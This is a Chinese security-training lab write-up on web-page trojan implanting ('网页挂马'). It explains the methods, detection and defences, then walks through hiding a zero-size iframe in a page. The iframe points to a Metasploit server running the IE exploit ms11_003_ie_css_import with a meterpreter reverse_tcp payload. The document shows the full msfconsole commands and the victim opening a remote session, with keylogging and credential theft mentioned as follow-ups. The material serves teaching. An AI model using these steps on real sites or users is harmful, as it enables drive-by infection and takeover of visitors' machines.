实验链接
网页挂马指的是把一个木马程序上传到网站里面,使得木马在打开网页时运行。网页挂马方式包括框架挂马、js文件挂马、body挂马、css挂马、图片伪装等。通过实验了解网页挂马相关知识,学会使用框架挂马并进行相关利用。
链接:http://www.hetianlab.com/expc.do?ce=f25a4f6b-ba35-4490-9d00-60acf926acd0
实验简介
实验所属系列: Web安全
实验对象: 本科/专科信息安全专业
相关课程及专业: 计算机基础、HTML、Linux
实验类别: 实践实验类
预备知识
-
网页挂马简介
网页挂马指的是把一个木马程序上传到一个网站里面,然后用木马生成器生成一个网马,放到网页空间里面,再加代码使得木马在打开网页时运行。
-
工作原理
作为网页挂马的散布者,其目的是将木马下载到用户本地并进一步执行,当木马得到执行后,就意味着会有更多的木马被下载,且进一步被执行。这样就进入一个恶性的循环,从而使用户的电脑遭到攻击和控制。为达到目的首先要将木马下载到本地。
-
常见方式
1)将木马伪装为页面元素,木马则会被浏览器自动下载到本地。
2)利用脚本运行的漏洞下载木马。
3)利用脚本运行的漏洞释放隐含在网页脚本中的木马。
4)将木马伪装成缺失的组件,或和缺失的组件捆绑在一起,如flash播放插件。这样既达到了下载的目的,下载的组件又会被浏览器自动执行。
5)通过脚本运行调用某些com组件,利用其漏洞下载木马。
6)在渲染页面内容的过程中,利用格式溢出释放木马,如ani格式溢出漏洞。
7)在渲染页面内容的过程中,利用格式溢出下载木马,如flash9.0.115播放漏洞。
-
检测方式
1)特征匹配:将网页挂马的脚本按脚本病毒进行检测,但是网页脚本变形方式、加密方式比起传统的PE格式病毒更为多样,检测起来也更加困难。
2)主动防御:当浏览器要进行某些动作时,作出提示,如下载了某插件的安装包,会提示是否运行。比如浏览器创建暴风影音播放器时,提示是否允许运行,大多数情况下用户会点击是,网页木马会因此得到执行。
3)检查父进程是否为浏览器,这种方法很容易被躲过且会对很多插件造成误报。
-
防御措施
1)对开放上传附件功能的网站,一定要进行身份认证,并只允许信任的人使用上传程序。
2)保证所使用的程序及时地更新。
3)不要在前台网页加注后台管理程序登录页面的链接。
4)时常备份数据库等文件,但是不要把备份数据放在程序默认的备份目录下。
5)管理员的用户名和密码要有一定复杂性。
6)IIS中禁止目录的写入和执行功能,可以有效防止asp木马。
7)在服务器、虚拟主机控制面板设置执行权限选项中,将有上传权限的目录取消asp的运行权限。
8)创建一个robots.txt上传到网站根目录,Robots能够有效防范利用搜索引擎窃取信息的骇客。
-
浏览器安全相关实验
浏览器使用安全
HTML5安全
实验目的
了解网页挂马相关知识,学会使用框架挂马,并进行相关利用。
实验环境
-
受害机:Windows7、ip:随机
-
攻击机:kali Linux、ip:10.1.1.101
实验步骤
步骤一
任务描述:学会使用框架挂马
kali机器的网站根目录为/var/www/html/,使用命令ls发现存在主页网址index.html:
使用gedit命令(或vim)打开index.html文件:
把下面这段代码插进index.html中:
(理论来说插到任何地方都行,只要不把html语言弄乱了就行)
width、height设置为0,这样我们就看不到网页的内容了。
这里的网马地址设置为http://10.1.1.101:8060/test.html,当用户访问到http://10.1.1.101/index.html时,会自动访问http://10.1.1.101:8060/test.html,木马会被浏览器下载到本地。
插入iframe标签后的网页代码:
这里我们选择将网马插入到body标签中。
步骤二
任务描述:利用ms11_003IE漏洞攻击win7主机
在kali中执行msfconsole,启动metasploit:
运行命令‘use exploit/windows/browser/ ms11_003_ie_css_import’,选择漏洞利用EXP:
运行命令‘show options’,查看配置选项:
此处我们需要设置SRVPORT、URIPATH与网马中的src一致。
执行命令:set SRVPORT 8060
执行命令:set URIPATH test.html
运行命令‘set payload windows/meterpreter/reverse_tcp’,设置攻击载荷进行回连:
运行命令‘show options’,查看配置选项,此时多了payload配置选项:
设置lhost以绑定本地ip:
命令:set lhost 10.1.1.101
运行命令‘run’,开始进行攻击:
步骤三
任务描述:模拟受害者访问含有木马的网页
首先在kali机器上执行service apache2 start,开启apache服务
在此处切换windows试验机:
Windows机器使用IE浏览器,访问http://10.1.1.101/index.html:
Kali机器端可以看到受害机成功上线:
成功获取到会话记录:
Windows机器端关闭IE浏览器,kali机器在metepreter的监听端介入会话(Ctrl+C退出连接状态):
运行命令‘sessions–i 1’,选择介入ID号为1的当前受害机回连的会话:
输入sysinfo命令,查看靶机的相关信息:
接下来还可以进行键盘记录,查看目标的用户名和密码,进而远程登录目标机器等操作。
最后执行关机:
目标死亡。